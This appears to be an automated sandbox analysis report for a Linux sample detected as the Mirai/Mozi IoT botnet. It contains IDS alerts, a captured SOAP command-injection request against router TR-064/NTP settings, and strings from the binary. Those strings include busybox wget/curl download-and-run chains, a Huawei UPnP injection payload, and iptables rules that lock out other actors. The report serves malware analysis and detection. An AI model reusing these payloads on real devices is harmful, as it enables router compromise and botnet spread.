
Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:12:40.297031+0100	2029034	1	Web Application Attack	192.168.2.15	33570	180.141.12.163	7574	TCP
2024-10-29T17:12:40.297043+0100	2029034	1	Web Application Attack	192.168.2.15	53566	111.127.73.18	80	TCP
2024-10-29T17:12:40.325029+0100	2029034	1	Web Application Attack	192.168.2.15	55848	211.118.101.207	80	TCP
2024-10-29T17:12:40.413041+0100	2029034	1	Web Application Attack	192.168.2.15	40130	19.24.200.215	8080	TCP
2024-10-29T17:12:50.908633+0100	2029034	1	Web Application Attack	192.168.2.15	47730	190.86.60.142	7574	TCP
2024-10-29T17:12:50.972631+0100	2029034	1	Web Application Attack	192.168.2.15	40126	117.40.38.193	7574	TCP
2024-10-29T17:12:51.064635+0100	2029034	1	Web Application Attack	192.168.2.15	36038	112.58.187.94	8080	TCP
2024-10-29T17:12:54.000587+0100	2029034	1	Web Application Attack	192.168.2.15	49772	126.73.36.0	80	TCP
2024-10-29T17:12:55.412512+0100	2029034	1	Web Application Attack	192.168.2.15	46272	186.235.3.26	49152	TCP
2024-10-29T17:13:01.716362+0100	2029034	1	Web Application Attack	192.168.2.15	57326	171.151.251.202	5555	TCP
2024-10-29T17:13:01.812360+0100	2029034	1	Web Application Attack	192.168.2.15	52740	41.228.32.24	80	TCP
2024-10-29T17:13:01.912332+0100	2029034	1	Web Application Attack	192.168.2.15	47932	53.12.120.68	5555	TCP
2024-10-29T17:13:02.500328+0100	2029034	1	Web Application Attack	192.168.2.15	50002	83.85.96.74	7574	TCP
2024-10-29T17:13:02.500330+0100	2029034	1	Web Application Attack	192.168.2.15	51232	96.79.188.123	7574	TCP
2024-10-29T17:13:02.500331+0100	2029034	1	Web Application Attack	192.168.2.15	32824	135.182.161.239	49152	TCP
2024-10-29T17:13:02.508336+0100	2029034	1	Web Application Attack	192.168.2.15	50352	77.189.124.203	8080	TCP
2024-10-29T17:13:02.508362+0100	2029034	1	Web Application Attack	192.168.2.15	50244	31.98.78.141	49152	TCP
2024-10-29T17:13:02.532422+0100	2029034	1	Web Application Attack	192.168.2.15	54204	119.66.2.198	49152	TCP
2024-10-29T17:13:02.588350+0100	2029034	1	Web Application Attack	192.168.2.15	49046	99.148.57.46	5555	TCP
2024-10-29T17:13:02.796308+0100	2029034	1	Web Application Attack	192.168.2.15	44218	181.10.106.162	49152	TCP
2024-10-29T17:13:03.624303+0100	2029034	1	Web Application Attack	192.168.2.15	37050	76.55.103.215	49152	TCP
2024-10-29T17:13:05.796222+0100	2029034	1	Web Application Attack	192.168.2.15	57782	78.14.245.139	80	TCP
2024-10-29T17:13:06.252255+0100	2029034	1	Web Application Attack	192.168.2.15	56938	188.110.156.196	8080	TCP
2024-10-29T17:13:08.832146+0100	2029034	1	Web Application Attack	192.168.2.15	52312	130.39.107.195	5555	TCP
2024-10-29T17:13:08.832146+0100	2029034	1	Web Application Attack	192.168.2.15	48244	63.182.70.51	8080	TCP
2024-10-29T17:13:11.916066+0100	2029034	1	Web Application Attack	192.168.2.15	48690	94.205.127.180	80	TCP
2024-10-29T17:13:11.916102+0100	2029034	1	Web Application Attack	192.168.2.15	41364	98.18.247.40	8080	TCP
2024-10-29T17:13:11.916105+0100	2029034	1	Web Application Attack	192.168.2.15	59942	168.210.89.176	80	TCP
2024-10-29T17:13:13.916115+0100	2029034	1	Web Application Attack	192.168.2.15	59350	36.69.208.13	8080	TCP
2024-10-29T17:13:13.932026+0100	2029034	1	Web Application Attack	192.168.2.15	42612	77.204.17.216	80	TCP
2024-10-29T17:13:13.968016+0100	2029034	1	Web Application Attack	192.168.2.15	50072	189.187.148.79	49152	TCP
2024-10-29T17:13:14.040045+0100	2029034	1	Web Application Attack	192.168.2.15	33584	124.207.168.47	7574	TCP
2024-10-29T17:13:15.028025+0100	2029034	1	Web Application Attack	192.168.2.15	52048	72.88.190.12	80	TCP
2024-10-29T17:13:16.939926+0100	2029034	1	Web Application Attack	192.168.2.15	40486	98.76.51.224	80	TCP
2024-10-29T17:13:17.032026+0100	2029034	1	Web Application Attack	192.168.2.15	41954	190.141.217.58	5555	TCP
2024-10-29T17:13:17.267923+0100	2029034	1	Web Application Attack	192.168.2.15	48932	140.228.243.220	49152	TCP
2024-10-29T17:13:19.835924+0100	2029034	1	Web Application Attack	192.168.2.15	39026	202.4.21.21	8080	TCP
2024-10-29T17:13:20.839855+0100	2029034	1	Web Application Attack	192.168.2.15	39494	142.40.56.36	49152	TCP
2024-10-29T17:13:20.915860+0100	2029034	1	Web Application Attack	192.168.2.15	48442	116.243.199.127	49152	TCP
2024-10-29T17:13:22.823804+0100	2029034	1	Web Application Attack	192.168.2.15	53764	133.219.243.189	8080	TCP
2024-10-29T17:13:22.823807+0100	2029034	1	Web Application Attack	192.168.2.15	55202	118.161.183.187	80	TCP
2024-10-29T17:13:22.911971+0100	2029034	1	Web Application Attack	192.168.2.15	44952	42.243.193.152	80	TCP
2024-10-29T17:13:24.907732+0100	2029034	1	Web Application Attack	192.168.2.15	35344	149.211.96.52	7574	TCP
2024-10-29T17:13:25.847726+0100	2029034	1	Web Application Attack	192.168.2.15	55586	142.146.216.107	80	TCP
2024-10-29T17:13:25.851678+0100	2029034	1	Web Application Attack	192.168.2.15	42870	176.188.142.84	49152	TCP
2024-10-29T17:13:25.855682+0100	2029034	1	Web Application Attack	192.168.2.15	56636	2.241.18.17	80	TCP
2024-10-29T17:13:25.919720+0100	2029034	1	Web Application Attack	192.168.2.15	55418	8.182.44.97	49152	TCP
2024-10-29T17:13:25.927704+0100	2029034	1	Web Application Attack	192.168.2.15	54082	66.48.193.102	49152	TCP
2024-10-29T17:13:27.263651+0100	2029034	1	Web Application Attack	192.168.2.15	47212	36.150.33.107	80	TCP
2024-10-29T17:13:27.271646+0100	2029034	1	Web Application Attack	192.168.2.15	36872	167.129.104.237	8080	TCP
2024-10-29T17:13:27.275657+0100	2029034	1	Web Application Attack	192.168.2.15	39326	92.13.184.220	5555	TCP
2024-10-29T17:13:27.275657+0100	2029034	1	Web Application Attack	192.168.2.15	43680	63.95.4.118	5555	TCP
2024-10-29T17:13:27.279634+0100	2029034	1	Web Application Attack	192.168.2.15	35258	17.146.97.70	49152	TCP
2024-10-29T17:13:27.279665+0100	2029034	1	Web Application Attack	192.168.2.15	47764	70.200.10.129	80	TCP
2024-10-29T17:13:27.979773+0100	2029034	1	Web Application Attack	192.168.2.15	56866	215.198.6.166	7574	TCP
2024-10-29T17:13:28.867603+0100	2029034	1	Web Application Attack	192.168.2.15	47670	105.56.160.20	7574	TCP
2024-10-29T17:13:29.951585+0100	2029034	1	Web Application Attack	192.168.2.15	58630	25.123.21.241	49152	TCP
2024-10-29T17:13:31.927620+0100	2029034	1	Web Application Attack	192.168.2.15	42366	28.212.14.93	5555	TCP

HTTP traffic detected: POST /UD/act?1 HTTP/1.1Host: 127.0.0.1:7574User-Agent: Hello, worldSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServersContent-Type: text/xmlContent-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 31 2e 31 3a 38 30 38 38 2f 4d 6f 7a 69 2e 6d 20 26 26 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 74 72 30 36 34 20 26 26 20 2f 74 6d 70 2f 74 72 30 36 34 20 74 72 30 36 34 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 32 3e 60 65 63 68 6f 20 44 45 41 54 48 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 32 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 33 3e 60 65 63 68 6f 20 44 45 41 54 48 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 33 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 34 3e 60 65 63 68 6f 20 44 45 41 54 48 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 34 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 35 3e 60 65 63 68 6f 20 44 45 41 54 48 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 35 3e 3c 2f 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://192.168.1.1:8088/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 341Connection: closeDate: Tue, 29 Oct 2024 16:15:10 GMTServer: lighttpd/1.4.54Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 Not Found</title> </head> <body> <h1>404 Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 29 Oct 2024 16:15:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMTVary: Accept-EncodingServer: cloudflareCF-RAY: 8da476db2b672ca2-DFWContent-Encoding: gzipData Raw: 38 33 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c5 58 e9 6f 1b 37 16 ff ae bf e2 85 0b 68 25 40 d4 48 b2 7c 44 1a 4d d1 75 5c c4 bb 69 63 34 0e da a0 28 0c ce f0 8d c4 98 43 4e 49 4a b2 90 f5 ff be e0 1c f2 e8 b0 9b 60 77 51 7d d0 f0 7c 7c c7 ef 1d 64 f8 ea cd fb cb db 4f 37 57 b0 70 99 8c 5a e1 2b 4a 7f 13 29 48 07 d7 57 70 fe 7b 04 a1 9f 80 44 32 6b 67 44 69 fa d9 82 c0 33 d0 92 0b 24 20 99 9a cf 08 2a fa f1 03 89 20 7c f5 1b 2a 2e d2 df 29 7d 22 55 d1 01 38 4e ea fc db 48 5d bc 40 ea e2 1b 48 cd 5d 45 cd 0f 1c 93 f2 90 0a a5 bb 94 16 c8 78 d4 0a 9d 70 12 a3 37 c2 60 e2 e0 fa 06 58 92 a0 b5 a0 b4 03 26 a5 5e 23 87 7f c3 a5 d4 4b 9e 4a 66 30 0c ca 0d ad 30 43 c7 20 59 30 63 d1 cd c8 c7 db 1f e8 05 81 a0 9e 58 38 97 53 fc 63 29 56 33 72 a9 95 43 e5 e8 ed 26 47 02 49 d9 9b 11 87 0f 2e f0 8c 4f b7 64 5e a2 f2 2b fd f8 3d bd d4 59 ce 9c 88 65 93 d0 f5 d5 ec 8a cf b1 b1 4f b1 0c 67 c4 e8 58 3b db 58 a8 b4 50 1c 1f 7a a0 74 aa bd 70 07 5b 56 02 d7 b9 36 ae b1 69 2d b8 5b cc 38 ae 44 82 b4 e8 f4 84 12 4e 30 49 6d c2 24 ce 86 25 15 29 d4 3d 18 94 33 62 dd 46 a2 5d 20 3a 02 82 cf 48 92 de 95 43 34 b1 96 c0 c2 60 3a 23 41 c2 15 4d e6 22 28 a7 82 8c 09 d5 2f e6 83 a8 d5 6a 85 36 31 22 77 51 ab 93 2e 55 e2 84 56 9d ee 17 91 76 b8 4e 96 19 2a d7 67 9c 5f ad 50 b9 77 c2 3a 54 68 da ed b5 50 5c af fb bf fe f8 ee ad 73 f9 cf f8 c7 12 ad 6b b7 ff f9 e1 fd 4f e5 7f df 3a 23 d4 5c a4 9b ee 97 15 33 80 b3 2d 6d 56 8e 24 b3 2d fd 39 ba 2b 89 be f9 8f cd 35 ef 10 34 46 1b 9a 22 f2 98 25 f7 d4 2e cd 0a 37 a4 db e3 df b0 a5 80 16 e9 f6 e2 99 c2 35 ec 32 3a 65 b3 2f e8 05 9a 90 7a 07 24 52 24 f7 c8 49 2f 37 3a 47 e3 04 da c9 97 82 ea a5 e6 38 19 0e 06 27 bd 05 ca 3c 5d ca 09 eb ad d0 58 a1 d5 64 f8 f8 38 8d fb 3a 47 d5 21 37 ef 3f dc 92 1e f1 38 b2 93 20 b0 39 33 46 af fb c9 16 cf fd 44 67 01 cb 45 b0 1a 06 c5 f1 a4 3b 8d fb 16 5d c5 d6 5b 64 1c 4d 67 17 c3 3d c2 f2 5c 8a 84 79 dd 05 9f ad 56 cf ec fa 50 9e 47 3f e8 a5 49 90 fe 0b 37 a4 47 92 f3 f3 61 3a c0 71 7c 3a 7e 3d 1e c7 18 a7 e3 d1 d9 90 8f c7 31 3f 7f cd 86 48 ba d3 96 27 a6 78 67 d7 6a 1d d6 ed 4e 93 7e e1 e6 de ec 1e 03 9d ad b6 e8 42 70 8e 9e 13 de 58 62 30 d3 2b 3c b2 ea 71 fa 2c 94 3a e4 cd fb 1f 2b 81 df 69 c6 bd 05 1a 28 f4 40 61 5f 6b 75 d2 ed bd 00 aa 2d 57 f1 d2 39 ad e8 06 ed cb 90 da df a0 34 e9 4e c9 56 5c 22 14 b0 76 bb c3 be 46 03 bd e4 88 e4 05 e4 Data Ascii: 835Xo7h%@H\|DMu\ic4(CNIJ`wQ}\|\|dO7WpZ+J)HWp{D2kgDi3$ * \|*.)}"U8NH]@H]Exp7`X
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Oct 2024 16:15:27 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 282Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 61 30 31 3a 34 66 38 3a 63 31 37 3a 62 31 31 38 3a 3a 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 2a01:4f8:c17:b118::1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailable: Back-end server is at capacityContent-Length: 0Connection: Close

Source: networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.a;chmod
Source: na.elf, networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.a;sh$
Source: networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.m
Source: na.elf, networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.m;
Source: na.elf, networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.m;$
Source: na.elf, networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
Source: networks.14.dr	String found in binary or memory: http://%s:%d/bin.sh
Source: na.elf, networks.14.dr	String found in binary or memory: http://%s:%d/bin.sh;chmod
Source: networks.14.dr	String found in binary or memory: http://127.0.0.1
Source: na.elf, networks.14.dr	String found in binary or memory: http://127.0.0.1sendcmd
Source: na.elf, networks.14.dr	String found in binary or memory: http://HTTP/1.1
Source: na.elf, networks.14.dr	String found in binary or memory: http://baidu.com/%s/%s/%d/%s/%s/%s/%s)
Source: kmod.sh.14.dr	String found in binary or memory: http://git.kernel.org/cgit/utils/kernel/kmod/kmod.git/commit/libkmod/libkmod-module.c?id=fd44a98ae2e
Source: .config.14.dr	String found in binary or memory: http://ia.51.la/go1?id=17675125&pu=http%3a%2f%2fv.baidu.com/
Source: networks.14.dr	String found in binary or memory: http://ipinfo.io/ip
Source: alsa-info.sh.14.dr	String found in binary or memory: http://pastebin.ca)
Source: alsa-info.sh.14.dr	String found in binary or memory: http://pastebin.ca/quiet-paste.php?api=$PASTEBINKEY
Source: alsa-info.sh.14.dr	String found in binary or memory: http://pastebin.ca/quiet-paste.php?api=$PASTEBINKEY&encrypt=t&encryptpw=blahblah
Source: na.elf, networks.14.dr	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: networks.14.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: networks.14.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: na.elf, networks.14.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.alsa-project.org
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.alsa-project.org.
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.alsa-project.org/alsa-info.sh
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.alsa-project.org/cardinfo-db/
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.pastebin.ca
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.pastebin.ca.
Source: alsa-info.sh.14.dr	String found in binary or memory: http://www.pastebin.ca/upload.php

Source: /tmp/na.elf (PID: 5513)

HTML file containing JavaScript created: /usr/networks

Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown
Source: 5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: 5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: 5511.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown
Source: 5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: 5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: 5509.1.00007f3c1c017000.00007f3c1c058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: /usr/networks, type: DROPPED	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: ..%s/%s/proc/haha/tmp/var/lib/dev/syscfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL "http://127.0.0.1"cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword "acsMozi"iptables -I INPUT -p tcp --destination-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 7547 -j DROPiptables -I OUTPUT -p tcp --source-port 7547 -j DROPiptables -I INPUT -p tcp --dport 35000 -j DROPiptables -I INPUT -p tcp --dport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 35000 -j DROPiptables -I INPUT -p tcp --dport 7547 -j DROPiptables -I OUTPUT -p tcp --sport 7547 -j DROP/mnt/jffs2/Equip.sh%s%s%s%s#!/bin/sh/mnt/jffs2/wifi.sh/mnt/jffs2/WifiPerformance.shbusybox%255s %255s %255s %255s
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/ls\|head -n 1
Source: Initial sample	String containing 'busybox' found: /bin/busybox hexdump -e '16/1 "%c"' -n 52 /bin/ls
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/ls\|more
Source: Initial sample	String containing 'busybox' found: "\x%02xsage:/bin/busybox cat /bin/ls\|head -n 1
Source: Initial sample	String containing 'busybox' found: dd bs=52 count=1 if=/bin/ls \|\| cat /bin/ls \|\| while read i; do echo $i; done < /bin/ls \|\| while read i; do echo $i; done < /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox dd bs=52 count=1 if=/bin/ls \|\| /bin/busybox cat /bin/ls \|\| while read i; do printf $i; done < /bin/ls \|\| while read i; do printf $i; done < /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod 777 .i \|\| (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo '%s' %s .i; %s && /bin/busybox echo '%s'
Source: Initial sample	String containing 'busybox' found: ./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget;/bin/busybox echo -ne '%s'
Source: Initial sample	String containing 'busybox' found: ELF.r.c.x.k.p.s.6.m.l.4>>/bin/busybox chmod 777 .i \|\| (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)>.x/bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample	String containing 'busybox' found: me./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
